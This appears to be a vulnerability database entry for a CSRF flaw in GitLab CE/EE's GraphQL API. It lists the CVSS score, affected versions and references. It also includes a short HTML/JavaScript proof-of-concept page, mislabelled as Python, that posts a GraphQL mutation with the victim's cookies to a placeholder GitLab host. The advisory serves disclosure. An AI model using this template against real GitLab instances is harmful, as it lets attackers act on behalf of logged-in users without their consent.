CVE-2026-3857

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.10 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an unauthenticated user to execute arbitrary GraphQL mutations on behalf of authenticated users due to insufficient CSRF protection.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE

cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE

cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE

cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:* - VULNERABLE

GitLab CE/EE >= 17.10, < 18.8.7

GitLab CE/EE >= 18.9, < 18.9.3

GitLab CE/EE >= 18.10, < 18.10.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-3857 -->
<!-- This PoC demonstrates a CSRF attack to execute a GraphQL mutation -->
<html>
  <body>
    <script>
      // Target GraphQL endpoint
      const targetUrl = "https://gitlab.example.com/api/graphql";
      
      // Arbitrary GraphQL mutation (e.g., update user status)
      const payload = {
        query: `mutation {
          updateUserStatus(input: {emoji: "rocket", message: "Hacked via CSRF"}) {
            user {
              username
            }
          }
        }`
      };

      // Send request using fetch
      fetch(targetUrl, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify(payload),
        credentials: 'include' // Browser sends cookies automatically
      }).then(response => console.log("Request sent"));
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3857
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3857
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3857/
[4] VulDB https://vuldb.com/cve/CVE-2026-3857
[5] https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/592828
[7] https://hackerone.com/reports/3584382

Raw JSON Data

JSON

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